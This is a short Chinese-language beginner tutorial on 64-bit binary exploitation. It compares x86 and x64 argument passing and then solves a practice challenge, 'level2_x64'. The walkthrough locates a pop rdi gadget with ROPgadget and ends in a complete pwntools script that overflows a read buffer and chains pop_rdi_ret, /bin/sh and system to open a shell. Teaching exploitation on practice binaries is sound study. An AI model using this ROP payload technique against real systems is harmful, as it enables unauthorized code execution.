64位pwn入门
X86与X64函数调用的区别
x86
X86中函数传参是再栈中直接存放,需要时的时候出栈即可。
而再X64程序中。函数的参数在call的时候会进入rdi 、 rsi 、rdx 、rcx 、r8 、r9
当传输参数超过6个的时候就会压入栈中。
如下示意图
read(stdin,buf,0xa) call 压入 main ret read函数压入 prev rbp
在x86中,函数利用栈进行参数传递
X64
前6个参数使用寄存器分别传递, rdi 、 rsi 、rdx 、rcx 、r8 、r9 之后的数据使用栈传递
栈结构
构造方式: pop_rdi_ret + addr_/bin/sh
使用命令 ROPgadget --binary level2_x64 --only "pop|ret" 可以进行查找可用地址。
例子
题目分析
存在/bin/sh 那就很方便
确认安全信息
由上面的信息可以确定,攻击链的方式应该为
pop_rdi_ret + /bin/sh + system_addr 的方式进行攻击。
其中 system 在主函数中存在
所以也可以直接使用地址即可。
溢出地点
溢出点在read函数处, buf 的可用高度为0x80 读入长度为0x200
确定ret_rdi_ret地址
ROPgadget --binary level --only "pop|ret"
找到一个地址 0x4006b3
那么payload 如下
from pwn import *
io=process("./level2_x64")
elf=ELF("./level2_x64")
system_addr=0x40063e
bin_sh_addr=next(elf.search(b"/bin/sh"))
pop_rdi_ret_addr=0x4006b3
print(system_addr)
payload=cyclic(0x88)+p64(pop_rdi_ret_addr)+p64(bin_sh_addr)+p64(system_addr)
io.sendline(payload)
io.interactive()